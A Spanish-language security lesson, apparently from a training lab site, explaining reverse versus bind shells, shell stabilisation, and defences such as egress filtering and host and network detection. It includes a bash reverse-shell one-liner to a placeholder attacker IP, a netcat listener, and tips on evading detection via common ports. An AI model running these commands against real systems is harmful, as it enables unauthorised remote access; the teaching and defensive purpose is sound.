Reverse shell y bind shell: qué son, cuándo se usa cada una y cómo defenderse

Cuando un pentester o un auditor consigue ejecutar un comando en un servidor remoto, el siguiente paso casi siempre es obtener una terminal interactiva en esa máquina: una ventana donde pueda escribir comandos y ver sus respuestas igual que si estuviera delante del servidor. Esa terminal se consigue abriendo una conexión entre dos equipos, y hay dos formas de hacerlo: la reverse shell (shell inversa) y la bind shell (shell enlazada).

Entender la diferencia entre ambas es imprescindible para resolver casi cualquier laboratorio de intrusión en whoami-labs, y también para defender tus propios servidores: una detección temprana de este tipo de conexiones es la forma más común de descubrir que un atacante entró en un sistema.

En esta lección vas a ver cómo funcionan las dos modalidades, por qué los firewalls determinan cuál funciona en cada caso, qué herramientas se usan habitualmente, cómo estabilizar una terminal recién obtenida y cómo detectar y bloquear estas conexiones desde el lado defensivo.

Usa estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Abrir terminales remotas en equipos ajenos sin permiso es un delito.

Qué es cada una#

Las dos técnicas persiguen el mismo objetivo (que el auditor pueda escribir comandos en la máquina del laboratorio), pero se diferencian en quién inicia la conexión.

Esa diferencia parece pequeña, pero cambia por completo las posibilidades. Los firewalls de los servidores suelen bloquear las conexiones entrantes (para proteger los servicios) pero permitir las salientes (para que el servidor pueda actualizar paquetes, consultar DNS, enviar correo…). Por eso en la mayoría de laboratorios y en situaciones reales funciona la reverse shell y no la bind shell: aprovecha una conexión saliente, que es justo la que está permitida.

Cuándo se usa cada una#

En la práctica, la reverse shell es la opción por defecto en los laboratorios de whoami-labs, y la bind shell aparece solo cuando el escenario lo permite claramente.

Cómo funciona una reverse shell paso a paso#

En un laboratorio autorizado, el flujo es siempre el mismo:

Paso 1: el auditor abre un puerto a la escucha#

Antes de nada, el equipo del auditor queda a la espera de una conexión. La herramienta clásica para esto es netcat (nc):

# En el equipo del auditor
nc -lvnp 4444

• -l escucha; -v muestra información; -n no resuelve nombres; -p 4444 fija el puerto.

A partir de aquí, cualquier conexión que llegue al puerto 4444 se mostrará en esa terminal.

Paso 2: el servidor del laboratorio inicia la conexión#

Con la vulnerabilidad que ya has encontrado (una inyección de comandos, una subida de archivos insegura, una regla de sudo mal configurada), ejecutas en el servidor un comando que inicia una conexión hacia el equipo del auditor y asocia a esa conexión una shell.

Una forma muy común con bash:

bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1'

Qué hace ese comando, en lenguaje llano:

• bash -i: abre una shell interactiva.
• >& /dev/tcp/IP_ATACANTE/4444: redirige tanto la salida estándar como los errores a una conexión TCP hacia tu equipo.
• 0>&1: hace que la entrada también venga de esa conexión.

El resultado: tu terminal con nc -lvnp 4444 empieza a recibir el prompt del servidor y todo lo que escribas se ejecuta en él.

Paso 3: trabajar en la terminal obtenida#

Desde ese momento, puedes enumerar el sistema, buscar vías de escalada y continuar con el laboratorio. La terminal recibida será limitada al principio y conviene estabilizarla antes de seguir, como verás más abajo.

Herramientas y variantes habituales#

Según qué haya instalado en el servidor del laboratorio, se usan comandos distintos. Estas son las variantes más comunes:

Portales como revshells.com y la PayloadsAllTheThings de GitHub son referencias muy usadas en laboratorios para elegir la variante que mejor encaja con cada servidor. Elige siempre la más sencilla y adapta la IP y el puerto a los que estés usando.

Alternativas más cómodas que netcat#

Netcat está en todas partes, pero sus limitaciones (la terminal no gestiona bien las flechas, Ctrl+C mata la sesión, no hay historial cómodo) hacen que en laboratorios avanzados se use una herramienta más completa:

• pwncat: añade comodidades como subir y bajar archivos, estabilización automática y comandos adicionales.
• rlwrap nc: envuelve netcat para que recupere flechas e historial básico.
• socat: más potente que netcat y permite túneles cifrados.

Estabilizar la terminal#

Una terminal recién obtenida por una reverse shell tiene varias molestias: no reconoce Tab, Ctrl+C cierra la sesión, los editores no funcionan bien y, si pierdes la conexión, la terminal queda zombi en el servidor.

Para arreglarlo, el procedimiento clásico es este, ejecutado dentro de la terminal recién obtenida:

# 1. Lanzar una shell real con una pseudo-TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

A continuación, pulsa Ctrl+Z para dejar la sesión en segundo plano y vuelve a tu terminal local. Allí:

# 2. Poner tu terminal en modo "crudo" para que pase todas las teclas
stty raw -echo; fg

Pulsa Enter un par de veces y, de vuelta en la sesión, ajusta el tipo de terminal y su tamaño:

# 3. Dentro de la sesión recuperada
export TERM=xterm
stty rows 40 columns 120

Con eso ya tienes Tab, flechas, historial, Ctrl+C sin perder la sesión y editores que funcionan bien. Si no tienes Python disponible, sirven variantes con script, con expect o con socat; están documentadas en guías como la de PayloadsAllTheThings.

Cómo detectar y evitar estas conexiones#

Desde el lado defensivo, detectar una terminal remota saliente es una de las señales más claras de intrusión. Estas son las defensas que de verdad funcionan:

Egress filtering: filtrar la salida#

Un firewall solo con reglas de entrada deja pasar cualquier conexión saliente, que es justo la que necesita una reverse shell. El egress filtering limita qué conexiones pueden salir de cada servidor:

• Los servidores de bases de datos no deberían iniciar conexiones a internet.
• Los servidores web deberían poder resolver DNS, actualizar paquetes y poco más.
• Todo lo demás, bloqueado por defecto, con registro de intentos.

Un proxy de salida que exija autenticación añade otra capa.

Detección en red#

Las herramientas de detección de intrusos (Suricata, Zeek) pueden alertar sobre patrones típicos de terminales remotas: conexiones salientes a puertos infrecuentes, tráfico sostenido hacia IP sin histórico, conexiones iniciadas por procesos que normalmente no acceden a la red (como el servidor web o la base de datos).

Detección en el servidor#

En el propio servidor, con herramientas como auditd o osquery, se pueden vigilar:

• Procesos cuyo padre es el servidor web o un intérprete, y que inician conexiones de red.
• Ejecuciones de bash con descriptores redirigidos a /dev/tcp/.
• Nuevos procesos con terminales (pseudo-TTY) creados fuera de los accesos SSH habituales.

Cifrar el canal para pasar inadvertido… y detectarlo igual#

Un auditor avanzado no usará netcat en claro, sino herramientas que cifran el canal (como una reverse shell sobre TLS con socat, o la inyección de un agente como los de Metasploit o Sliver). Eso impide que un IDS vea el contenido del tráfico, pero no impide verlo ocurrir: desde el firewall se siguen viendo conexiones salientes a destinos inusuales, con duraciones y patrones de tráfico que no encajan con las aplicaciones normales del servidor. Por eso el egress filtering y la detección de comportamientos siguen funcionando aunque el contenido vaya cifrado.

Reducir lo que se puede ejecutar#

Buena parte de las variantes necesitan que el servidor tenga instalados bash, nc, python o php. En servidores de producción conviene quitar los intérpretes y utilidades que no hagan falta, y ejecutar las aplicaciones con un usuario sin acceso a ellos.

Errores comunes#

• Confiar en que un firewall solo con reglas de entrada es suficiente. Deja pasar todas las reverse shells.
• Permitir conexiones salientes ilimitadas desde servidores de servicios. Es la vía por defecto para exfiltrar y para recibir conexiones.
• Dejar nc, python o php instalados sin motivo. Simplifican mucho el trabajo del atacante.
• Olvidar estabilizar la terminal. Se pierden sesiones por pulsar Ctrl+C sin querer o al intentar usar un editor.
• Usar siempre los mismos puertos conocidos (4444, 1337). Los sistemas de detección los tienen marcados; variar el puerto y usar 80 o 443 disimula más.

Preguntas frecuentes#

¿Cuál es la diferencia real entre reverse y bind?#

Quién inicia la conexión. En la reverse, el servidor «llama» al equipo del auditor; en la bind, el auditor llama al servidor. Como los firewalls suelen bloquear la entrada, la reverse es la que funciona en la mayoría de laboratorios.

¿Por qué se usa tanto el puerto 4444?#

Es un convenio heredado de Metasploit, no un requisito. En entornos reales conviene usar puertos como 443 o 53, que se parecen a tráfico normal y pasan muchos filtros.

¿Un atacante necesita un servidor público en internet?#

Si quiere recibir reverse shells desde fuera, sí: una IP accesible o un túnel (como los que ofrece ngrok o un VPS). En laboratorios locales no hace falta, porque todos los equipos están en la misma red.

¿Qué es estabilizar la terminal?#

Hacer que la terminal recibida se comporte como una real: con Tab, flechas, historial, editores funcionales y resistencia a Ctrl+C. El proceso descrito arriba con pty.spawn y stty raw -echo es el estándar.

¿Dónde practico esto legalmente?#

En los laboratorios web de whoami-labs enlazados al final de esta lección, donde conseguir una terminal remota es parte del recorrido para resolver cada reto.

Resumen#

• Una reverse shell la inicia el servidor hacia el equipo del auditor; una bind shell la inicia el auditor hacia el servidor.
• Los firewalls suelen permitir salidas y bloquear entradas, por eso la reverse shell es la opción habitual en laboratorios y en situaciones reales.
• Se obtiene escuchando con netcat (nc -lvnp) y lanzando desde el servidor una conexión asociada a una shell, en bash, Python, PHP u otro lenguaje disponible.
• La terminal recibida se estabiliza con pty.spawn y stty raw -echo para recuperar comodidad.
• La defensa pasa por egress filtering, detección en red y en el servidor, y por reducir los intérpretes disponibles.

Fuentes y lecturas recomendadas#

• PayloadsAllTheThings: Reverse Shell Cheatsheet
• revshells.com: generador de comandos
• Página de manual de netcat
• MITRE ATT&CK T1059: Command and Scripting Interpreter
• MITRE ATT&CK T1021: Remote Services